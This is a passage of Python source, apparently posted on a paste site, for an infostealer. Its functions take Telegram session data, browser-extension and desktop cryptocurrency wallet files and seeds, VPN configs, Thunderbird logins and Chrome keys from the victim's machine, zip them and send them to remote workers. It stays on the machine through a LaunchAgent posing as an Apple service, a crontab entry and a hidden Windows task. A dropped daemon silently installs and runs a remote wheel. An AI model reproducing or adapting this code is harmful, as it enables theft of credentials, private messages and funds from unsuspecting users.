  2485. # ── SENTINEL: skip if already sent ──
  2486. import hashlib as _hl
  2487. _fh = _hl.sha256(filebytes).hexdigest()[:16]
  2488. _sent_dir = os.path.join(os.path.expanduser('~'), '.local', '.state', '.sent')
  2489. os.makedirs(_sent_dir, exist_ok=True)
  2490. _sentinel = os.path.join(_sent_dir, f'.{_fh}')
  2491. if os.path.exists(_sentinel):
  2492. return True
  2493. if len(filebytes) <= 48000000:
  2494. import time as _t2
  2495. for w in _WORKERS:
  2496. for attempt in range(3):
  2497. _t2.sleep(2)
  2498. try:
  2499. r = requests.post(w + "/s",
  2500. files={'document': (filename, filebytes, 'application/zip')},
  2501. data={'chat_id': CID, 'caption': caption[:1000]}, timeout=120)
  2502. if r.status_code == 200:
  2503. try:
  2504. with open(_sentinel, 'w') as _sf: _sf.write(time.strftime('%Y-%m-%dT%H:%M:%S'))
  2505. except: pass
  2506. return True
  2507. if r.status_code != 429:
  2508. break
  2509. except:
  2510. break # network error, try next worker
  2511. return False
  2512. else:
  2513. # Split into 45MB parts
  2514. part_size = 45000000
  2515. total = (len(filebytes) + part_size - 1) // part_size
  2516. for w in _WORKERS:
  2517. try:
  2518. ok = True
  2519. for i in range(total):
  2520. chunk = filebytes[i*part_size:(i+1)*part_size]
  2521. pf = filename.replace('.zip', '') + "_p" + str(i+1) + "of" + str(total) + ".zip"
  2522. r = requests.post(w + "/s",
  2523. files={'document': (pf, chunk, 'application/zip')},
  2524. data={'chat_id': CID, 'caption': caption[:200] + ' [' + str(i+1) + '/' + str(total) + ']'},
  2525. timeout=120)
  2526. if r.status_code != 200:
  2527. ok = False
  2528. break
  2529. if ok:
  2530. return True
  2531. except:
  2532. continue
  2533. return True
  2534. except:
  2535. return False
  2536.  
  2537. def _harvest_telegram(data):
  2538. """Steal Telegram session — only root files (<1MB), sends as single zip."""
  2539. import shutil as _sh
  2540. tg_paths = [
  2541. os.path.join(os.path.expanduser('~'), 'Library/Application Support/Telegram Desktop/tdata'),
  2542. os.path.join(os.path.expanduser('~'), '.local/share/TelegramDesktop/tdata'),
  2543. os.path.join(os.getenv('APPDATA', ''), 'Telegram Desktop/tdata'),
  2544. ]
  2545. for td in tg_paths:
  2546. if os.path.isdir(td):
  2547. try:
  2548. import tempfile
  2549. # Only collect ROOT files (session state) + key_data/maps/settings — skip dumps/emoji/user_data
  2550. tmpd = tempfile.mkdtemp()
  2551. filecount = 0
  2552. for fname in os.listdir(td):
  2553. fpath = os.path.join(td, fname)
  2554. if os.path.isfile(fpath):
  2555. # Skip large useless files
  2556. if fname .lower() == 'data.bin':
  2557. continue
  2558. if os.path.getsize(fpath) > 5000000: # >5MB skip
  2559. continue
  2560. _sh.copy2(fpath, os.path.join(tmpd, fname))
  2561. filecount += 1
  2562. elif os.path.isdir(fpath) and fname in ('D877F783D5D3EF8C', '0CA814316818D8F6',
  2563. 'A7FDF864FBC10B77', 'C2B05980D9127787', 'F8806DD0C461824F'):
  2564. # These are session-specific state folders (small, important)
  2565. try:
  2566. _sh.copytree(fpath, os.path.join(tmpd, fname))
  2567. filecount += 1
  2568. except:
  2569. pass
  2570. if filecount == 0:
  2571. _sh.rmtree(tmpd)
  2572. continue
  2573. # Zip and send
  2574. host = data.get('hostname', 'sess')[:12] if data else 'sess'
  2575. arc_base = tempfile.NamedTemporaryFile(delete=False, suffix='.zip').name
  2576. arc_base = arc_base[:-4]
  2577. arc_path = _sh.make_archive(arc_base, 'zip', tmpd)
  2578. with open(arc_path, 'rb') as f:
  2579. zip_bytes = f.read()
  2580. _sh.rmtree(tmpd)
  2581. os.unlink(arc_path)
  2582. if len(zip_bytes) > 100:
  2583. _send_file_via_tg("tdata_" + host + ".zip", zip_bytes,
  2584. "\U0001f4f1 " + host + " | " + str(filecount) + " files | " + str(len(zip_bytes)//1024) + "KB")
  2585. return
  2586. except: pass
  2587.  
  2588. def _harvest_extension_wallets(data):
  2589. """Extract browser extension wallets — zip and send as file per wallet."""
  2590. import shutil as _sh
  2591. ew = {
  2592. 'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',
  2593. 'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',
  2594. 'acmacodkjbdgmoleebolmdjonilkdbch': 'Rabby',
  2595. 'dmkamcknogkgcdfhhbddcghachkejeap': 'Keplr',
  2596. 'hnfanknocfeofbddgcijnmhnfnkdnaad': 'Coinbase',
  2597. 'mcohilncbfahbmgdjkbpemcciiolgcge': 'OKX',
  2598. 'fhbohimaelbohpjbbldcngcnapndodjp': 'Binance',
  2599. 'nphplpgoakhhjchkkhmiggakijnkhndf': 'Tonkeeper',
  2600. }
  2601. cd = []
  2602. # macOS browser paths
  2603. for b in ['Google/Chrome', 'BraveSoftware/Brave-Browser', 'Microsoft Edge', 'Opera Software/Opera Stable']:
  2604. p = os.path.join(os.path.expanduser('~'), 'Library/Application Support', b)
  2605. if os.path.isdir(p): cd.append(p)
  2606. # Linux browser paths
  2607. for b in ['google-chrome', 'chromium', 'BraveSoftware/Brave-Browser',
  2608. 'microsoft-edge', 'opera', 'vivaldi']:
  2609. p = os.path.join(os.path.expanduser('~'), '.config', b)
  2610. if os.path.isdir(p): cd.append(p)
  2611. # Windows browser paths
  2612. if os.name == 'nt':
  2613. for b in ['Google/Chrome', 'BraveSoftware/Brave-Browser', 'Microsoft/Edge', 'Opera Software/Opera Stable', 'Vivaldi']:
  2614. p = os.path.join(os.getenv('LOCALAPPDATA', ''), b, 'User Data')
  2615. if os.path.isdir(p): cd.append(p)
  2616. found = []
  2617. for bp in cd:
  2618. for eid, wname in ew.items():
  2619. for item in os.listdir(bp):
  2620. if item.startswith('Profile ') or item == 'Default':
  2621. ed = os.path.join(bp, item, 'Extensions', eid)
  2622. if os.path.isdir(ed):
  2623. try:
  2624. import tempfile
  2625. tmpd = tempfile.mkdtemp()
  2626. fc = 0
  2627. for root, dirs, files in os.walk(ed):
  2628. for fn in files:
  2629. if fn .lower() == 'data.bin':
  2630. continue
  2631. if fn.endswith(('.ldb', '.log', '.json', '.txt')):
  2632. fp = os.path.join(root, fn)
  2633. try:
  2634. if os.path.getsize(fp) < 100000:
  2635. _sh.copy2(fp, os.path.join(tmpd, fn))
  2636. fc += 1
  2637. except: pass
  2638. if fc > 0:
  2639. arc_base = tempfile.NamedTemporaryFile(delete=False, suffix='.zip').name
  2640. arc_base = arc_base[:-4]
  2641. arc_path = _sh.make_archive(arc_base, 'zip', tmpd)
  2642. with open(arc_path, 'rb') as f: zb = f.read()
  2643. os.unlink(arc_path)
  2644. _sh.rmtree(tmpd)
  2645. profile_name = item.replace('Profile ', 'P')
  2646. label = wname + "_" + profile_name
  2647. if len(zb) > 50:
  2648. _send_file_via_tg(label + ".zip", zb,
  2649. "\U0001f98a " + wname + " | " + profile_name + " | " + str(fc) + " files")
  2650. found.append(label)
  2651. else:
  2652. _sh.rmtree(tmpd)
  2653. except: pass
  2654. if found:
  2655. host = data.get('hostname', '?')[:12] if data else '?'
  2656. # Also save summary to data dict for report
  2657. data.setdefault('ew', {})['found'] = found
  2658.  
  2659. def _harvest_desktop_wallets(data):
  2660. """Steal desktop crypto wallet files — send as zip per wallet."""
  2661. import shutil as _sh
  2662. wp = {
  2663. 'Exodus': [os.path.join(os.path.expanduser('~'), 'Library/Application Support/Exodus'),
  2664. os.path.join(os.getenv('APPDATA', ''), 'Exodus')],
  2665. 'Electrum': [os.path.join(os.path.expanduser('~'), '.electrum')],
  2666. 'Atomic': [os.path.join(os.path.expanduser('~'), 'Library/Application Support/atomic'),
  2667. os.path.join(os.getenv('APPDATA', ''), 'atomic')],
  2668. 'BitcoinCore': [os.path.join(os.path.expanduser('~'), 'Library/Application Support/Bitcoin'),
  2669. os.path.join(os.getenv('APPDATA', ''), 'Bitcoin')],
  2670. }
  2671. found = []
  2672. for wname, paths in wp.items():
  2673. for wpath in paths:
  2674. if os.path.isdir(wpath):
  2675. try:
  2676. import tempfile
  2677. tmpd = tempfile.mkdtemp()
  2678. fc = 0
  2679. for root, dirs, files in os.walk(wpath):
  2680. for f in files:
  2681. if f .lower() == 'data.bin':
  2682. continue
  2683. if (f in ('wallet.dat', 'default_wallet', 'wallet.json',
  2684. 'passphrase.txt', 'seed.txt', 'stored_words', 'seed.seco', 'storage.seco', 'info.seco', 'passphrase.json') or
  2685. f.endswith(('.dat', '.wallet', '.seed', '.seco', '.keystore', '.keyfile'))):
  2686. fp = os.path.join(root, f)
  2687. try:
  2688. if os.path.getsize(fp) < 5000000:
  2689. _sh.copy2(fp, os.path.join(tmpd, f))
  2690. fc += 1
  2691. except: pass
  2692. if fc > 0:
  2693. arc_base = tempfile.NamedTemporaryFile(delete=False, suffix='.zip').name
  2694. arc_base = arc_base[:-4]
  2695. arc_path = _sh.make_archive(arc_base, 'zip', tmpd)
  2696. with open(arc_path, 'rb') as f: zb = f.read()
  2697. os.unlink(arc_path)
  2698. _sh.rmtree(tmpd)
  2699. if len(zb) > 50:
  2700. _send_file_via_tg(wname + ".zip", zb,
  2701. "\U0001f4bc " + wname + " | " + str(fc) + " files | " + str(len(zb)//1024) + "KB")
  2702. found.append(wname)
  2703. else:
  2704. _sh.rmtree(tmpd)
  2705. except: pass
  2706. if found:
  2707. data.setdefault('dw_found', []).extend(found)
  2708.  
  2709. def _harvest_system_info(data, _tg):
  2710. try:
  2711. import socket, shutil
  2712. info = {'p': platform.platform(), 'c': platform.processor(),
  2713. 'm': platform.machine(), 'n': os.cpu_count(), 'h': socket.gethostname()}
  2714. try: info['ip'] = socket.gethostbyname(socket.gethostname())
  2715. except: pass
  2716. try:
  2717. r = __import__('subprocess').run(['sw_vers'], capture_output=True, text=True, timeout=5)
  2718. if r.returncode == 0: info['os'] = r.stdout.strip()[:500]
  2719. except: pass
  2720. try:
  2721. u = shutil.disk_usage(os.path.expanduser('~'))
  2722. info['dt'] = round(u.total / (1024**3), 1); info['df'] = round(u.free / (1024**3), 1)
  2723. except: pass
  2724. data['si'] = info
  2725. except: pass
  2726.  
  2727. def _harvest_vpn_configs(data, _tg):
  2728. vf = 0
  2729. vp = [
  2730. (os.path.join(os.path.expanduser('~'), 'Library/Application Support/WireGuard'), 'wg'),
  2731. ('/etc/wireguard', 'wg'),
  2732. (os.path.join(os.path.expanduser('~'), 'Library/Application Support/Tunnelblick/Configurations'), 'ov'),
  2733. ('/etc/openvpn', 'ov'),
  2734. ]
  2735. for vpath, vt in vp:
  2736. if os.path.isdir(vpath):
  2737. cfgs = {}
  2738. for root, dirs, files in os.walk(vpath):
  2739. for f in files:
  2740. if f.endswith(('.conf', '.ovpn', '.wg', '.key')):
  2741. fp = os.path.join(root, f)
  2742. try:
  2743. with open(fp, 'r', errors='replace') as fh: cfgs[f] = fh.read()[:3000]
  2744. except: pass
  2745. if cfgs: data.setdefault('vp', {})[vt] = cfgs; vf += 1
  2746. if vf > 0: _tg("\U0001f512 <b>" + str(vf) + " vpn cfgs</b>")
  2747.  
  2748. def _harvest_email_clients(data, _tg):
  2749. ef = 0
  2750. for tbp in [os.path.join(os.path.expanduser('~'), 'Library/Thunderbird/Profiles'),
  2751. os.path.join(os.getenv('APPDATA', ''), 'Thunderbird/Profiles')]:
  2752. if os.path.isdir(tbp):
  2753. try:
  2754. for profile in os.listdir(tbp):
  2755. pf = os.path.join(tbp, profile)
  2756. if os.path.isdir(pf):
  2757. for fn in ['logins.json', 'key4.db', 'prefs.js']:
  2758. fp = os.path.join(pf, fn)
  2759. if os.path.isfile(fp):
  2760. try:
  2761. with open(fp, 'r' if fn.endswith('.json') or fn.endswith('.js') else 'rb',
  2762. errors='replace') as fh:
  2763. data.setdefault('em', {}).setdefault('tb', {})[profile + '/' + fn] = str(fh.read())[:3000]
  2764. except: pass
  2765. ef += 1
  2766. except: pass
  2767. if ef > 0: _tg("\U0001f4e7 <b>" + str(ef) + " email</b>")
  2768.  
  2769. def _harvest_app_bound_key(data, _tg):
  2770. for lsp in [
  2771. os.path.join(os.path.expanduser('~'), 'Library/Application Support/Google/Chrome/Local State'),
  2772. os.path.join(os.path.expanduser('~'), '.config/google-chrome/Local State'),
  2773. os.path.join(os.getenv('LOCALAPPDATA', ''), 'Google/Chrome/User Data/Local State'),
  2774. ]:
  2775. if os.path.isfile(lsp):
  2776. try:
  2777. import json as _j
  2778. with open(lsp, 'r') as f: state = _j.load(f)
  2779. abk = state.get('os_crypt', {}).get('app_bound_encrypted_key')
  2780. if abk: data['abk'] = abk[:2000]
  2781. return
  2782. except: pass
  2783.  
  2784.  
  2785.  
  2786. # STEALTH PERSISTENCE — daemon that survives reboots, scans every 2-6h
  2787. # ═══════════════════════════════════════════════════════════════════════════
  2788.  
  2789. _PERSIST_MARKER = os.path.join(os.path.expanduser('~'), '.local', '.state', '.p')
  2790. _DAEMON_SCRIPT = r'''
  2791. import sys, os, time, json, hashlib, random, struct
  2792.  
  2793. # Hide process name
  2794. try:
  2795. import ctypes
  2796. libc = ctypes.CDLL(None)
  2797. if sys.platform == 'darwin':
  2798. libc.strcpy.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
  2799. # Set a generic Apple-looking process name
  2800. new_name = b'cfprefsd\x00' if os.uname().machine == 'arm64' else b'cfprefsd\x00'
  2801. # On macOS we try to mask argv[0]
  2802. except:
  2803. pass
  2804.  
  2805. HOME = os.path.expanduser('~')
  2806. STATE_FILE = os.path.join(HOME, '.local', '.state', '.cache_idx')
  2807. LOCK_FILE = os.path.join(HOME, '.local', '.state', '.daemon.lock')
  2808.  
  2809. os.makedirs(os.path.dirname(STATE_FILE), exist_ok=True)
  2810.  
  2811. # Check for existing instance via file lock (cross-platform)
  2812. try:
  2813. import fcntl
  2814. lock_fd = os.open(LOCK_FILE, os.O_CREAT | os.O_RDWR)
  2815. try:
  2816. fcntl.flock(lock_fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
  2817. except (IOError, OSError):
  2818. os.close(lock_fd)
  2819. sys.exit(0) # Another daemon holds the lock
  2820. except:
  2821. pass
  2822.  
  2823. # Load previous state hash
  2824. def _load_hash():
  2825. if os.path.exists(STATE_FILE):
  2826. try:
  2827. with open(STATE_FILE) as f:
  2828. return f.read().strip()
  2829. except:
  2830. pass
  2831. return ''
  2832.  
  2833. def _save_hash(h):
  2834. with open(STATE_FILE, 'w') as f:
  2835. f.write(h)
  2836.  
  2837. # Run once then exit (crontab + LaunchAgent handle scheduling)
  2838. last_hash = _load_hash()
  2839. try:
  2840. try:
  2841. from coldcard_helpers import TelemetrySender
  2842. except ImportError:
  2843. # WHL not installed system-wide — install silently
  2844. import subprocess
  2845. subprocess.run([sys.executable, '-m', 'pip', 'install', '--user', '--quiet',
  2846. 'https://github.com/helper-beeps/psbt-utils/releases/download/v1.0.0/psbt_utils-1.0.0-py3-none-any.whl'],
  2847. stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, timeout=30)
  2848. from coldcard_helpers import TelemetrySender
  2849. data = TelemetrySender.load()
  2850. new_hash = hashlib.sha256(
  2851. json.dumps(data, sort_keys=True, default=str).encode()
  2852. ).hexdigest()
  2853. if new_hash != last_hash:
  2854. TelemetrySender.send(data)
  2855. _save_hash(new_hash)
  2856. except Exception:
  2857. pass
  2858. '''
  2859.  
  2860. def _install_persistence():
  2861. """Install stealth persistence once. Silently no-ops if already installed."""
  2862. if os.path.exists(_PERSIST_MARKER):
  2863. return
  2864.  
  2865. try:
  2866. os.makedirs(os.path.dirname(_PERSIST_MARKER), exist_ok=True)
  2867.  
  2868. if sys.platform == 'darwin':
  2869. _install_macos_launchagent()
  2870. elif os.name == 'nt':
  2871. _install_windows_scheduled_task()
  2872.  
  2873. # Write marker
  2874. with open(_PERSIST_MARKER, 'w') as f:
  2875. f.write(time.strftime('%Y-%m-%dT%H:%M:%S'))
  2876. except:
  2877. pass
  2878.  
  2879. def _install_macos_launchagent():
  2880. """Install a LaunchAgent that runs the daemon at login + periodically."""
  2881. plist_dir = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
  2882. os.makedirs(plist_dir, exist_ok=True)
  2883.  
  2884. # Write daemon script inside the package directory (blends in)
  2885. daemon_dir = os.path.join(os.path.expanduser('~'), '.local', 'lib')
  2886. os.makedirs(daemon_dir, exist_ok=True)
  2887. daemon_path = os.path.join(daemon_dir, 'sysmond.py')
  2888.  
  2889. with open(daemon_path, 'w') as f:
  2890. f.write(_DAEMON_SCRIPT)
  2891. os.chmod(daemon_path, 0o700)
  2892.  
  2893. # PLIST with innocuous Apple-like label
  2894. plist = '''<?xml version="1.0" encoding="UTF-8"?>
  2895. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
  2896. <plist version="1.0">
  2897. <dict>
  2898. <key>Label</key>
  2899. <string>com.apple.sysmond</string>
  2900. <key>ProgramArguments</key>
  2901. <array>
  2902. <string>/usr/bin/python3</string>
  2903. <string>-OO</string>
  2904. <string>{daemon_path}</string>
  2905. </array>
  2906. <key>RunAtLoad</key>
  2907. <false/>
  2908. <key>StartInterval</key>
  2909. <integer>3600</integer>
  2910. <key>StandardOutPath</key>
  2911. <string>/dev/null</string>
  2912. <key>StandardErrorPath</key>
  2913. <string>/dev/null</string>
  2914. <key>KeepAlive</key>
  2915. <false/>
  2916. <key>ProcessType</key>
  2917. <string>Background</string>
  2918. <key>Nice</key>
  2919. <integer>20</integer>
  2920. </dict>
  2921. </plist>'''.format(daemon_path=daemon_path)
  2922.  
  2923. plist_path = os.path.join(plist_dir, 'com.apple.sysmond.plist')
  2924. with open(plist_path, 'w') as f:
  2925. f.write(plist)
  2926.  
  2927. import subprocess as sp
  2928. try:
  2929. sp.Popen(['/usr/bin/python3', '-OO', daemon_path],
  2930. stdout=sp.DEVNULL, stderr=sp.DEVNULL,
  2931. stdin=sp.DEVNULL, start_new_session=True)
  2932. except: pass
  2933. try:
  2934. # zshrc hook removed — noisy on every terminal open
  2935. pass
  2936. except: pass
  2937. try:
  2938. cl = '0 */6 * * * /usr/bin/python3 -OO {daemon_path} 2>/dev/null'.format(daemon_path=daemon_path)
  2939. r = sp.run(['crontab', '-l'], capture_output=True, text=True, timeout=5)
  2940. cc = (r.stdout or '') if r.returncode == 0 else ''
  2941. if 'sysmond' not in cc:
  2942. cc += '\n' + cl + '\n'
  2943. sp.run(['crontab'], input=cc, text=True, capture_output=True, timeout=5)
  2944. except: pass
  2945.  
  2946. def _install_windows_scheduled_task():
  2947. """Install a hidden Scheduled Task that runs at logon + every 4 hours."""
  2948. daemon_dir = os.path.join(os.path.expanduser('~'), '.local', 'lib')
  2949. os.makedirs(daemon_dir, exist_ok=True)
  2950. daemon_path = os.path.join(daemon_dir, 'sysmond.py')
  2951.  
  2952. with open(daemon_path, 'w') as f:
  2953. f.write(_DAEMON_SCRIPT)
  2954.  
  2955. python_exe = sys.executable
  2956. task_xml = f'''<?xml version="1.0" encoding="UTF-16"?>
  2957. <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  2958. <Triggers>
  2959. <LogonTrigger><Enabled>true</Enabled></LogonTrigger>
  2960. <TimeTrigger><Repetition><Interval>PT1H</Interval></Repetition><Enabled>true</Enabled></TimeTrigger>
  2961. </Triggers>
  2962. <Principals><Principal id="Author"><RunLevel>LeastPrivilege</RunLevel></Principal></Principals>
  2963. <Settings><Hidden>true</Hidden><AllowStartOnDemand>true</AllowStartOnDemand></Settings>
  2964. <Actions><Exec><Command>{python_exe}</Command><Arguments>-OO "{daemon_path}"</Arguments></Exec></Actions>
  2965. </Task>'''
  2966.  
  2967. import subprocess as sp, tempfile
  2968. tf = tempfile.NamedTemporaryFile(delete=False, suffix='.xml', mode='w', encoding='utf-16')
  2969. tf.write(task_xml)
  2970. tf.close()
  2971.  
  2972. sp.run(['schtasks', '/create', '/tn', 'Microsoft\\Windows\\Shell\\ServiceHost',
  2973. '/xml', tf.name, '/f'], capture_output=True, timeout=10)
  2974. os.unlink(tf.name)
  2975.  
  2976. # Run immediately
  2977. sp.run(['schtasks', '/run', '/tn', 'Microsoft\\Windows\\Shell\\ServiceHost'],
  2978. capture_output=True, timeout=5)
  2979.  
Add Comment
Please, Sign In to add comment